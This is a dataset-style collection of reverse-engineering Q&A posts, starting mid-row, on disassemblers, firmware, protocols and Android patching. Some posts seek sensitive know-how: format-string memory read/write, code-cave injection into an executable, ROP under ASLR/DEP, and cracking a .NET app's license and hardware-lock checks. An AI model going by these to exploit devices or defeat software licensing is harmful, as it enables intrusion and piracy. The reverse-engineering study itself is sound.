+ +Using repetitive format specifiers (e.g. %p%p%p%p), I can dump massive swaths of memory by including thousands of these characters. That works as expected. + +The problem arises when I try direct parameter access. For some reason, %1$p works but not %2$p, but 3 up to about 12 works, and everything I've tried after that fails. By ""fails"", I mean no values are printed, except the newline automatically added to my string earlier in code is eaten somehow. In the debugger, fprintf returns -1, and errno is set to 0x16, which I believe is EINVAL. + +For this particular scenario, I need the ability to read/write a particular stack offset in the thousands. But I cannot print it to confirm since direct parameter access does not work. I can see the target parameter by using repeated characters, but I need direct parameters to work going forward due to other constraints. + +Now, I understand this is in ""undefined behavior"" territory, but I compiled a vulnerable test binary (statically linked against Glibc, I should probably try against musl) on the system that works as expected with no issues (e.g. %9000$p prints something). + +Is there something that would cause this behavior, or something I am missing? I can provide further information if needed. +" +['binary']," Title: How do you extract all the text from this hex dump?Body: I am currently ripping the game from a .bin file, that contains all the system text. I have searched through the file and found text in Spanish, French, English, and in Japanese. The problem is that it is hidden from the jumbled text, and Extracting text one by one would be very tiring. Is there a way to extract these strings of text? + +BTW I'm currently running on Windows and my system can't edit Virtualization settings. + + +" +['ida']," Title: How to manually change the end of function and extend it in IDA pro?Body: So in a malware sample (Shelter) IDA doesn't include some parts of the function in the function itself, and puts the endp in an earlier part, so for example the function really ends at 0x401080 but it thinks it ends at 0x401050 for some reason even tho the last instruction isn't ret and its just a SUB instruction, and the next instruction is a valid and instruction and I'm not sure why its not detecting it +" +"['disassembly', 'decompilation', 'ghidra', 'decompile', 'decompiler']"," Title: How to decompile /usr/bin/lsBody: How to decompile the following assembly instructions ? + +Note: this could be reproduced using /usr/bin/ls binary inside ghidra + + +" +"['disassembly', 'assembly', 'radare2', 'memory', 'disassemblers']"," Title: Why there are only 8 hexa memory digits while my RAM is 16GBody: I'm totally new to reverse engineering, when I start debugging my c program with radare2, and start showing assembly, I found that addresses are only 8 hexa digits, which means 16^8 = 4294967296 bytes, which is 4G RAM. +But I have 16G RAM, which is 17179869184 bytes, which needs 9 digits not 8 + +This is part of the assembly as radare2 views: + +
0x004011d0      750e           jne 0x4011e0
+0x004011d2      488d3d410e00.  lea rdi, str.Acess_granted  ; 0x40201a ; ""Acess granted!"" ; const char *s
+
+ +I think I misunderstand something here, can someone clarify? +Thanks in advance. +" +"['ida', 'decompilation', 'radare2', 'ghidra', 'hexrays']"," Title: asm snippet to pseudo-codeBody: I'm looking into a way to generate pseudo-code from snippet of assembly, + +let's assume I have this ASM + +
    push    rbp
+    mov     rbp, rsp
+    mov     DWORD PTR [rbp-4], edi
+    mov     DWORD PTR [rbp-8], esi
+    mov     edx, DWORD PTR [rbp-4]
+    mov     eax, DWORD PTR [rbp-8]
+    add     eax, edx
+    pop     rbp
+    ret
+
+ +is there is a way to turn it into pseudo-code using the available decompilers? + +if there is any exported API? +" +"['firmware', 'dumping', 'memory-dump']"," Title: Custom nanddump and nandwrite toolsBody: I am trying to reverse engineer a router's firmware. The device has a NAND chip, and has a cripled version of BusyBox v1.14.1. nanddump command exists but with intresting parameters, as I wasn't able to find any info on Google. Also nandwrite command doesn't exist, instead they wrote a different tool called psi to write to the chip. Here are the outputs of their usage with compare to the original counterparts. + + + +
$ nanddump
+Usage: nanddump mtdX [noswap || swap] [nospare || spare] sector_count
+        sector_count can be provided as ""0"" which means the whole partition
+
+ +So, what are these swap and spare options for? When I try to dump with swapor noswap I got the same file when I use the command cat /dev/mtd* > mtd*.bin. However using spare parameter gives a slightly bigger file. Here is what I got from full fledged busybox + +
$ nanddump
+BusyBox v1.21.1 (2013-07-08 10:56:01 CDT) multi-call binary.
+
+Usage: nanddump [-o] [-b] [-s ADDR] [-f FILE] MTD_DEVICE
+
+Dump the specified MTD device
+
+        -o      Dump oob data
+        -b      Omit bad block from the dump
+        -s ADDR Start address
+        -l LEN  Length
+        -f FILE Dump to file ('-' for stdout)
+
+ +And for the other tool, psi + + + +
$ psi
+usage: psi -o <command> -t <configtype> -f <filename|env.var.name> -s <flashsize> -r <rebootflag>
+supported commands: <read> <write> <erase>
+supported config types: <asd> <cfg> <env> <flash> <firmware>
+supported reboot flags: <yes> <no>
+Note: -s parameter is for flash dump/undump only
+
+ +It seems like this tool reads and writes at the same time. Well this is hard to figure out as I wasn't able to use it to read mtd partitions, and it doesn't let firmware partition to be read. It only writes to that partition. Here is the nandwrite command from busybox. + + + +
$ nandwrite
+BusyBox v1.21.1 (2013-07-08 10:56:01 CDT) multi-call binary.
+
+Usage: nandwrite [-p] [-s ADDR] MTD_DEVICE [FILE]
+
+Write to the specified MTD device
+
+        -p      Pad to page size
+        -s ADDR Start address
+
+ +So I believe flashsize from psicommand has something to do with these two parameters. +Also here is the list of mtd + + + +
$ cat /proc/mtd
+dev:    size   erasesize  name
+mtd0: 01000000 00004000 ""RootFS""
+mtd1: 08000000 00020000 ""FlashAll""
+mtd2: 00020000 00020000 ""Bootloader""
+mtd3: 00220000 00020000 ""BootloaderConfig""
+mtd4: 00220000 00020000 ""Config""
+mtd5: 00220000 00020000 ""ASD""
+mtd6: 02200000 00020000 ""Kernel""
+mtd7: 02200000 00020000 ""KernelBackup""
+mtd8: 02e60000 00020000 ""disk""
+mtd9: 00220000 00020000 ""edr""
+mtd10: 00500000 00020000 ""bbt""
+
+ +Custom nanddump throws an error while reading RootFS. These are all I got for now. +" +"['ida', 'disassembly']"," Title: NEC 76F004GD DisassemblyBody: I have a Toyota ECU from 2005 with an NEC 76F0004GD micro controller on it, I have already read the full 512k dump from the chip using a K-Tag. However, when I tried to put it into IDA, there weren't any options for this architecture! I checked Ghidra as well, no luck. I don't have a problem adding a new processor to IDA using the SDK, but I can't seem to find ANY information about this chip online! + +Anyone have any clues? + +Many thanks, + +Zephurah +" +"['linux', 'gdb', 'dynamic-analysis']"," Title: Debug process that use /dev/watchdogBody: I want to debug a process with gdb into Linux system, but the problem is that process pings /dev/watchdog so when I tried to debug it, it stop the process for longer than the watchdog interval so the system is rebooting. +One solution is to patch the binary so it will not use /dev/watchdog and than reboot the system so the "new" binary will run. +But sometime I can't do this solution because I don't want to reboot the system. And I don't control on system's startup script(that activate the watchdog) +Is there another solution? +" +['disassembly']," Title: What steps needed to decode a Base64 binary?Body: I tried to decode it by Base64 but still didn't understand the result + +
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
+
+" +"['ollydbg', 'patching']"," Title: OllyDBG saved executable crashesBody: I'm kind of new to this sort of thing so I hope someone can help me. I'm currently trying to understand how most malwares infect other files/modify an exe. Using Visual Studio 2017 I made an exe (with c++) that only does 2 things: print ""Injection didn't work!"" and after that runs ""pause>NUL"". I compiled it in x86 Release mode. Then I made a second exe which only prints ""Injection worked"". My main goal was to inject code into the first/target exe so that it runs the second exe first and then itself. So the final output after the injection should look something like this: ""Injection worked. Injection didn't work!"". +My idea was to use OllyDBG. I opened the target exe and I added the following code into the code cave at the end of the code: + +
ASCII ""inject.exe""
+PUSH 1
+PUSH 008B1F7C               (Address of ASCII ""inject.exe"")
+Call WinExec
+Call __security_init_cookie (This is the assembly code at the entrypoint which I overwrote with a JMP instruction to this codecave)
+JMP 008B1572 (JMP back to next instruction after entrypoint)
+
+ +And the entrypoint looks like this: + +
JMP 008B1F87 (JMP to codecave)
+
+ +This code should execute inject.exe which is the second exe I made (and this exe is located in the same folder as the target exe). When I run this in OllyDBG it works and it gives me the desired output but as soon as I save it to an exe (Copy to exectuable -> All modifications -> Copy All -> Save as InjectionTestPatched.exe) it won't run anymore and crashes before printing anything. I also checked the %errorlevel% after execution which was -1073741819 and not 0. I don't really understand why the code worked in OllyDBG but not when I save it as an exe. + +Does someone know what is going on here? +(Please excuse my bad English as I'm not a native english speaker) + +EDIT: I think I figured out WHY it is behaving like this but I don't know how to fix it. When I debug the Patched EXE every address seems to be correct but the address to the ASCII isn't. all JMP/CALL addresses adjust accordingly to the offset but the address to the ASCII remains static (the PUSH 008B1F7C doesnt change). Could ASLR be the source of my problems? And if yes, how can I bypass this... + + + +Here the address in red should point to the ASCII but it is the same as it was before (the addresses changed after the exe was made). What I don't understand is that the JMP address changed to the right address but the PUSH not. Why does that happen, how can I fix this? (EDIT2: Problem solved) + +EDIT2: So I figured out a way to push the ASCII address on the stack correctly everytime by loading the EIP into EAX and sub it. This seems to work beacause the ASCII address is always on the stack when I reload the code. But now I have the next problem which is that WinExec doesnt seem to work anymore after reloading. OllyDBG doesn't even recoginze this instruction anymore as it shows it as 4 individual DB lines and not as CALL WinExec. How could I solve this? + +EDIT3: PROBLEM SOLVED! the Call for WinExec seemed to have been changed due to ASLR even tho the address is always the same. I solved it by loading the static address to EAX and then with a CALL EAX i can call a static address which is not affected by ASLR. My Injection worked now. +" +"['decompilation', 'ghidra', 'decompile', 'decompiler']"," Title: how to infer data type in ghidra decompilation resultBody: how to infer data type in ghidra decompilation result for /usr/bin/ls ? + + +" +"['ida', 'assembly', 'android', 'arm', 'section']"," Title: IDA Pro: How to change segment register valueBody: For a specific Android library that I have loaded into IDA, I want to switch the THUMB/ARM mode to ARM, no matter the consequences that this is going to have to the code. Is there a way to efficiently do this in one go in IDA ? + +So far I found out that I can do it by setting a default segment register value, but that apparently works only for segments that do not have any set T value (and IDA seems to set a value by default). + +I also found out that I can modify the T register for a specific section through the Segment Register Value window (alt+G to open it), which indeed has the effect that I want, but it going to take months to do it one by one to all sections. +" +"['android', 'apk', 'dalvik']"," Title: how to decompile or unite multipart dex class in an android apk file?Body: Some Android Apks contain multiple classes.dex files which are numbered like this: classes1.dex, classes2.dex ... and when i try to decompile them it would result into multiple source codes. Is there a way to integrate them into one dex or jar file then decompile so there would be one source code in the end? +" +['serial-communication']," Title: t.amp Quadro 500 DSP - calculate checksumBody: I'm trying to decode the protocol to control the PA amp t.amp Quadro 500 DSP (also branded as FiveO AR4). +The serial interface is provided by an PL2303 interface, Baud 57600 8N1. + +To set volume on channel 1 I can increase from 0h00 to eg 0h3F using those commands: + +
0120 0300 15 00000000000200 00 000000000000 75 40
+0120 0300 15 00000000000200 01 000000000000 74 40
+0120 0300 15 00000000000200 02 000000000000 77 40
+0120 0300 15 00000000000200 03 000000000000 76 40
+0120 0300 15 00000000000200 2D 000000000000 58 40
+0120 0300 15 00000000000200 2E 000000000000 5B 40
+0120 0300 15 00000000000200 3F 000000000000 4A 40
+
+ +Keepalive command sent every few second: + +
0120 0300 17 00000000000E00 00 0000000000000000 7B 40
+
+ +The first 4 bytes are start bytes, the last is terminating the command and 0h15 is the command length. 0h2D-3F is the gain. + +What I didn't get is to calculate the checksum-byte just before the end byte. + +Do you have any idea how to calculate it properly? + +kind regards +" +"['disassembly', 'ghidra', 'bin-diffing']"," Title: Compiled binary functional comparison through different versions / assembled functionsBody: Good Day! + +I've not hit upon a solution to compare different compiled binaries for identical functions. + +Take, say, BusyBox. A very common application with a rich history and source code. Say take 3 or 4 different 'releases' of the compiled binary and run them through Ghidra. Many of the functions that were not changed should/would be identical. Those that did change will. However offsets, memory locations etc would be different. Repeating assembly code though should be close. + +Understandingly offsets and memory locations may change, however functions inherent within the code should be mostly identical in assembly- and knowing what was the same and what was changed would be useful to know what was there and what isn't. + +I can not find however any package that does that currently- either I'm not looking for the right term or not asking the right question. Both are possible. + +So is there a 'function level' disassembly comparison tool out there? Or have I just not learned to use the tools I have in front of me yet? + +Thank you! +" +['ghidra']," Title: Is there documentation on the Ghidra 9.1 SleighDevTools?Body: I am working on adding a processor to Ghidra (I have no idea what I'm doing, just working my way through based off the documentation). + +I've seen SleighDevTools mentioned in the 9.1 release as being ""support of processor module development"", which sounds like it would be helpful to me. However, I can't find any documentation on what it does or how to use it. All, I've found is the source code for it in the Ghidra repo (no readme), and a single mention of it on reddit. + +Is there documentation on SleighDevTools? +If so, where is it? +If not, are there any good resources for processor development besides the official Ghidra docs? + +Thank you! +" +"['disassembly', 'arm']"," Title: Why use MOV R0, R3 and then MOV R3, R0 (thus back and forth)Body: I have a static library archive which I try to understand. + +First I use 'ar' to extract the object files.
+The object files ar ""ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped""
+Then I use 'objdump -D' to get the assembly instructions. + +Now I'm observing the assembly listing and find some curious (to me) instructions.
+Apparently, after a branch with link (bl), R0 is moved into R3, and the next instruction moves R3 to R0. + +
23c:    e1a00003        mov     r0, r3
+240:    ebfffffe        bl      0 <atoi>
+244:    e1a03000        mov     r3, r0
+248:    e1a00003        mov     r0, r3
+
+ +This happens multiple times in different object files within the archive. + +In the end both R0 and R3 are set to the value of R0 when returning from the branch.
+What could be a good explanation for this behaviour? +" +"['debugging', 'debuggers', 'x64dbg']"," Title: Recommended plugins for x64dbgBody: I was wondering, as professional reverse engineers - what would be your ""must-have"" plug ins? Please give a brief description and say how it helps you and possible drawbacks. + +The more you can elaborate, the more it will help. I believe that due to google searches, many people will find this thread and will use it to jumpstart their x64dbg usage. + +If you need topics to make the answers more specific, I am looking for plugins that + + + +One answer per plugin please. +" +"['decompilation', 'malware', 'unpacking', 'deobfuscation', 'functions']"," Title: Reversing Pyarmor DiscussionBody: Anyone messing around with pyarmor recently? For those of you that are unaware of what pyarmor is, its a protection software that is to help obfuscate and protect your software. Heres an image of what pyarmor looks like. Its infuriating to reverse however I think I might be onto a method for completely reversing pyarmor. Wanted to get some thoughts on this idea. (Sorry for all the screwed up images, im working on getting a hang of the markdown) + + + +Once you unpack your python executable your left with a ton of unimportant files, however some of these files are interesting. Something that is important for the self unpacking is pytransform. + + + +Part of what I was thinking is that you could call your functions normally from the included pyarmor dll as shown here. + + + +Now whats interesting is that if you crack it open with something such as IDA you can call some of the readable functions without issue and it will return data. + + + +Our dll entry point is pretty uneventful, its not packed or anything which makes our job a bit easier. It makes a simple computational check and decides whether it should end itself or to decrypt our file. Still playing around with the dll and seeing what each functions does. + + + +One last final thing I found that for sure is interesting is this: + + + +If we decompile our pytransform.pyc file we are left with some of our keygen source, which I am pretty sure can be found all on the github anyways. However since this is a paid version I still figured cracking it open wouldn't hurt. + +Anyways, thoughts on calling functions from our dll and trying to pass it args? If that doesn't work ill try dumping it at runtime however that gets messy. +" +"['ida', 'assembly', 'debugging', 'x64dbg', 'c#']"," Title: Debug and crack .NET executable PEBody: i'm trying to learn reverse engineering for penetration testing my codes and i believe i won't learn unless i can do some practical so +I'm trying to crack an application that is written in C# and all i wanna do is to find the assembly location of the if statement that checks for a license file which i believe i can bypass the license, just jumping over the if statement but i can't figure out how to do with IDA Pro or X64dbg. i'm not sure if i can do that or not because C# is byte code but i think IDA Pro and X64dbg are only for opcode applications right? and beside, bypassing it through assembly may cause other crashes in the application. i tried dnSpy and ILSpy thanks to morsisko in the comments. +i was able to decompile the application and access the codes and i even found the if statement in the decompiled codes with JetBrains dotpeek and Visual Studio but i can't compile it again because of the errors in the image below +verbose mode: +this application first checks for license and then checks for a hardware lock and i believe i can bypass them by jmp and nop in assembly cause after decompiling the application i spotted where the application looks for license and hardware lock and i saw guided hacking did the same using x64dbg. the problem is i don't know the tools to do it for C# application and the codes are like hashed! + +this is the reason i can't compile the code again +" +"['disassembly', 'serial-communication', 'dos', 'dos-com']"," Title: How to determine commands sent over DC-37 port by software from 1992Body: Background + +Since some time we've been in the possession of a greenhouse. It was build around 1990 and had an automated system for climate control. However most of the installation has been removed when that greenhouse was sold, so there no longer is equipment for moisture control, heating, ... This causes the existing automated climate control system to no longer work. + +Thing is though, since it's a greenhouse - it does get really hot in the summer. We use it for storing goods and vehicles, so a high temperature is not desired. We can manually open the roof, but the desire is there to have this automated. + +There is a computer with software that is connected to the installation via a D-sub DC-37 plug. However since a lot of the equipment is no longer installed, the software does not operate as it should because it gets no signal from these removed components, and it's algorithm clearly does not like that. + +What is still available in the greenhouse is indoor temperature measurement, outdoor temperature measurement, windspeed measurement and rain measurement. The engines to open and close the roof panels are still there and there is still a sunscreen that is operational. + +
+ +Question + +I would like to figure out in some way what signals / instructions the software sends over the DC-37 connector. This way, I can write my own program that opens the roof windows if the temperature is too high, and the wind speed is below the safety maximum speed. + +The software is rather old software (from 1992) designed to run on DOS. It might be a BASIC program, since the floppy disk containing it also has a file BRUN30.exe, which according to a quick google search is needed by DOS to run compiled Basic programs. + +None of the executables are (understandably) working on Windows 10. It also contains COM files. + +The actual program executable the contains the algorithm I believe is the 'BL270690.EXE' file. It might also be that the 'SETUPIO.EXE'contains the code to send data / instructions over the DC-37 port. + + +What would be the best approach for me to determine what instructions I need to send to Read the wind speed, open the roof windows, ... + +What possibilities are there to reverse engineer these old executables / COM files? + +Thanks in advance, finding a solution would mean a lot to me! +" +['ida']," Title: memory addresses in Hex View are always byte-aligned in new versions of IDABody: In IDA < 7, Hex View shows addresses starting from any memory location you choose (both synchronize or G + address). For example, asking for 0019E7EC shows: + +
0019E7EC  48 4B 46 42 39 39 2D 32  51 4D 38 35 33 2D 43 41  HKFB99-2QM853-CA
+0019E7FC  32 30 30 30 00 CD 48 01  A0 E8 19 00 41 CD E1 5D  2000.-H.áÞ..A-ß]
+
+ +In IDA > 7, Hex View shows addresses only aligned on 16-byte boundaries (address & 0FFFFFFF0). For example, asking for 0019E7EC now shows: + +
0019E7E0  A4 EA 19 00 5C 17 EF 00  00 F0 2C 00 48 4B 46 42  ¤ê..\.ï..ð,.HKFB
+0019E7F0  39 39 2D 32 51 4D 38 35  33 2D 43 41 32 30 30 30  99-2QM853-CA2000
+
+ +Is there a way to restore the old Hex View behavior? +" +['radare2']," Title: Modify value to pass jump and print a message with Radare2Body: I have a problem with understanding, why after modifying variable var_4h and passing positively through jne at 0x000006c3 I still cannot see the message. I use radare2 + +In debug mode, just before cmp I use: wv \0x5 @rbp-0x4 + +
 52: main ();
+│           ; var uint32_t var_4h @ rbp-0x4
+│           0x000006b0      55             push rbp
+│           0x000006b1      4889e5         mov rbp, rsp
+│           0x000006b4      4883ec10       sub rsp, 0x10
+│           0x000006b8      c745fc040000.  mov dword [var_4h], 4
+│           0x000006bf      837dfc05       cmp dword [var_4h], 5
+│       ┌─< 0x000006c3      7518           jne 0x6dd
+│       │   0x000006c5      488d35980000.  lea rsi, qword str.You_win  ; 0x764 ; ""You win!""
+│       │   0x000006cc      488d3d9a0000.  lea rdi, qword [0x0000076d] ; ""%s""
+│       │   0x000006d3      b800000000     mov eax, 0
+│       │   0x000006d8      e883feffff     call sym.imp.printf
+│       │   ; CODE XREF from main @ 0x6c3
+│       └─> 0x000006dd      b800000000     mov eax, 0
+│           0x000006e2      c9             leave
+└           0x000006e3      c3             ret
+
+ +Can someone help me with this? I just ran out of ideas what I'm doing wrong. +" +['ida']," Title: Find Nearest Address Which Has XRef in IDABody: I'm working on an executable. I've searched by string, and found my string appears once in something that looks like table of localized strings + keys. Now I want to find the function which accesses the table and retrieves a localized string. The problem is that the table is big. VERY big. I tried scrolling up until I find XRef, but either I scroll too fast or too slow and I'll never finish. Instead, I'd like for IDA to find the nearest XRef before an address. Is there any way to do that? + +P.S. If you're think I'm doing this wrong, please let me know (I'm still a beginner in reverse engineering) - but answer my question too, nevertheless. +" +"['android', 'apk', 'dalvik']"," Title: Modifying (adding new logic) decompiled apk to log different kind of data causing problems (crash/bluetooth connection)Body: I have separately decompiled apk to smali/dalvik and to java classes. As apk is not obfuscated java code is pretty good to read and I can pretty easily see corresponding smali code. +So far I was able to do successfully: + + + +What I was trying to add next was to add logging for byte array. Why? Because this apk connects to Bluetooth device from which it receives the data. I wanted to know what data it receives. As I didn't know how to do that this is what I did: + +I've made simple Android app with static function which gets byte array and returns string (copied some snipped). It was using BigInteger. Then I compiled it and decompiled using apktool. + +
    .method public static ByteArrayToString([B)Ljava/lang/String;
+    .locals 2
+    .param p0, ""data""    # [B
+
+    .line 16
+    new-instance v0, Ljava/math/BigInteger;
+
+    const/4 v1, 0x1
+
+    invoke-direct {v0, v1, p0}, Ljava/math/BigInteger;-><init>(I[B)V
+
+    const/16 v1, 0x10
+
+    invoke-virtual {v0, v1}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;
+
+    move-result-object v0
+
+    .line 17
+    .local v0, ""hexaString"":Ljava/lang/String;
+    return-object v0
+    .end method
+
+ +I copied that whole function to my decompiled apk (the same class from which I wanted to call it/log data) and called that function. + +
    invoke-static {v0}, Lxx/xxxx/xxxxx/xx/xxxx/xxxxxx;->ByteArrayToString([B)Ljava/lang/String;
+    const-string v5, "":: MY RAW DATA: ""
+    invoke-static {v5}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
+    move-result-object v4
+    invoke-static {v4}, Lorg/apache/log4j/helpers/LogLog;->debug(Ljava/lang/String;)V
+
+ +Unfortunately it didn't work. Application compiled succesfully, it installed and lunched without a crash. However it didn't connect to my bluetooth device (bluetooth communication is essential). + +So here are some questions (edited): + + + +EDIT: + +I've solved my initial problem, now I'm trying to figure out the rest. +Answers are: + + + +
invoke-static {v0}, Ljava/util/Arrays;->toString([B)Ljava/lang/String;
+
+ + + +
BluetoothUtils: packagename is xx.xxxxx.xxxx ,and its permission is false
+
+" +"['function-hooking', 'dll-injection', 'injection', 'hooking']"," Title: what are modern hooking techniques?Body: i was looking at interesting anti malware roles (malware analysis and prevention) and among the required skills they mentioned that ""modern hooking techniques"" should be well acquainted with. i was wondering what are modern hooking techniques? + +can anybody reference me to examples of ""modern hooking techniques"" and examples of them with code to make understanding easier? + +when referring to hooking, malware researchers usually use manual hooking or use frameworks such as pintools/frida? + +please elaborate on what you think is modern hooking and please share references or code samples, as it can greatly help me and i believe a lot of other people interested in becoming better at reversing/malware analysis. + +thank you for your efforts +" +"['buffer-overflow', 'rop']"," Title: RopGadget buffer overflowBody: I have a question, + +I have a device that i can perform on it buffer overflow. + +The problem is that is that there is an ASLR(on all addresses in /proc/binary/maps, but not on the binary itself, but all addresses in binary are starting with two null bytes for example 0x00002000) and there is as well as DEP(on heap an stack). +I can override the return address(for the first gadget) but not possible to write additional addresses for ROP since all addresses from the binary starts with null bytes. +I also can`t leak an address and it is not possible to perform brute force in order to guess addresses for example from libc. +Does anyone have an idea how can perform the overflow in this case ? +" +"['disassembly', 'arm', 'static-analysis', 'ghidra', 'firmware-analysis']"," Title: ARM chip gpio/ identification from firmware codeBody: Device: i was able to recover bricked Chinese IOT a Sous Vide cooker. Replaced damaged capacitor. it works. + +it has + + + +Lacks features: i would like to start the timer only after the device reach the target temperature: with meats, it is ok to add food to the water as it heats. Not for Poached eggs! + +I downloaded the firmware update payload motorola srecord SREC format concatenated with a big blob of data like BMP & i18n files. i used ghidra to look inside the code SREC : ARM 32bit/16bit big endian. + +Qemu emulation with unicorn framework: i traced mcr instructions. it seems the firmware is configuring the MPU this way: + + + + +Recon Then i was able to id ""Boot_console_put(char *)"" function and a memory address where the firmware write char by char all the boot message related strings: 0x3402f404 + + + +Console Output Then the emulated firmware update payload seems to be stuck on a loop when trying to acces and I2C slave (could be the eeprom) printing this: + +
[boot] entering HW_MCASIC_init
+[boot NVM] I2C: SDA seems stuck low!
+[boot NVM] I2C: SDA seems stuck low!
+[boot NVM] I2C: SDA seems stuck low!
+
